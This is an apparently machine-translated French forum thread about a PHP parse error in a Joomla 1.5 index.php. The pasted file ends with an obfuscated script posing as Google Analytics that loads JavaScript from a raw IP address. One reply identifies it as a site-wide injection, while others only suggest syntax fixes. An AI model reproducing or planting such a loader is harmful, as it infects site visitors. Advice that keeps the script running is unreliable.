Parse error: syntax error, unexpected '<' in - Fix?
Newb ici d'essayer de corriger mon code php. D'avoir une erreur à la ligne 89.
<?php
/**
* @version $Id: index.php 10381 2008-06-01 03:35:53Z pasamio $
* @package Joomla
* @copyright Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
//Set flag that this is a parent file
define( '_JEXEC', 1 );
define('JPATH_BASE', dirname(__FILE__) );
define( 'DS', DIRECTORY_SEPARATOR );
require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;
/**
* CREATE THE APPLICATION
*
* NOTE :
*/
$mainframe =& JFactory::getApplication('site');
/**
* INITIALISE THE APPLICATION
*
* NOTE :
*/
//set the language
$mainframe->initialise();
JPluginHelper::importPlugin('system');
//trigger the onAfterInitialise events
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
$mainframe->triggerEvent('onAfterInitialise');
/**
* ROUTE THE APPLICATION
*
* NOTE :
*/
$mainframe->route();
//authorization
$Itemid = JRequest::getInt( 'Itemid');
$mainframe->authorize($Itemid);
//trigger the onAfterRoute events
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
$mainframe->triggerEvent('onAfterRoute');
/**
* DISPATCH THE APPLICATION
*
* NOTE :
*/
$option = JRequest::getCmd('option');
$mainframe->dispatch($option);
//trigger the onAfterDispatch events
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
$mainframe->triggerEvent('onAfterDispatch');
/**
* RENDER THE APPLICATION
*
* NOTE :
*/
$mainframe->render();
//trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark('afterRender') : null;
$mainframe->triggerEvent('onAfterRender');
/**
* RETURN THE RESPONSE
*/
echo JResponse::toString($mainframe->getCfg('gzip'));
<?php echo '<script type="text/javascript">var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' " + '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^& 6!@!#^5(@#!.!&$1@#4)8#& /($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "' type='text/javascript'%3E%3C /script%3E"));
</script>
try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>'; ?>
- Heu. Pourriez vous s'il vous plaît reformater votre code source et de nous donner le code d'erreur complet? Le fichier dans le Joomla/modul forfait montage? La ligne est la ligne "89" dans cette découpe?
- Ne pas abuser de l'opérateur conditionnel. Vous devriez plutôt utiliser
if
pour une meilleure lisibilité.
Vous devez vous connecter pour publier un commentaire.
Viens de trouver le fichier dans le Joomla 1.5 paquet. C'est l'index.php dans le répertoire racine. Étant donné que ce fichier ne se compose que de 89 lignes et il est prouvé au travail, ce n'est pas un problème avec joomla.
Comme suggéré ci-dessus, de couper tout ce qui est après la ligne 89 et restaurer le fichier à son plan d'origine. En cas de doute, il suffit de charger la dernière Joomla 1.5 installation et l'index.php" fichier. Btw. il est déconseillé de retourner tout le contenu en texte clair, après il a peut-être déjà retourné au format gzip par Joomla et le corps de la balise est déjà fermé.
Comment faire pour restaurer les fonctionnalités de Google analytics? Recherche actuellement utilisé de modèle, ouvrez le "index.php" du fichier et ajoutez le code suivant juste avant la balise body est fermée:
Vous êtes à partir d'un autre
<?php
article sans mettre fin à la précédente.Pourquoi êtes-vous de l'ouverture d'un nouveau
<?php
section en premier lieu? Vous êtes déjà dans une. Il suffit de retirer le<?php
partie sur la ligne 89, et je soupçonne que ça va bien - au moins du point de vue syntaxique.Pour être clair, vous avez actuellement obtenu:
Vous voulez:
?>
", sans expliquer eux-mêmes correctement.Je Pense que c'est un certain type de hack de recherche sur le web plus, j'ai trouvé cela s'est produit pour mon site dimanche matin, vers 9h, n'est-ce pas l'attraper jusqu'à ce que la nuit que je prends congé le dimanche. J'ai regardé mon php journal et a trouvé qu'il a été inséré dans à peu près tous les index.php le fichier que j'ai eu. J'ai fait une restauration complète à partir de la nuit d'avant. et changé TOUS mes mots de passe qui ont accès à quoi que ce soit. Je site que j'ai lu (google traduit de l'allemand site) je pense que mentionné qu'il allait envoyer des info en arrière à quelque part en Ukraine, mais je ne peux pas confirmer cela. Tout ce que je sais c'est que je n'ai pas mis et ça a été dans plus de 20 pages. la chance il a pris mon site j'ai donc dû trouver pourquoi.
S'il vous plaît poster quelle version de joomla et d'autres composants que vous utilisez.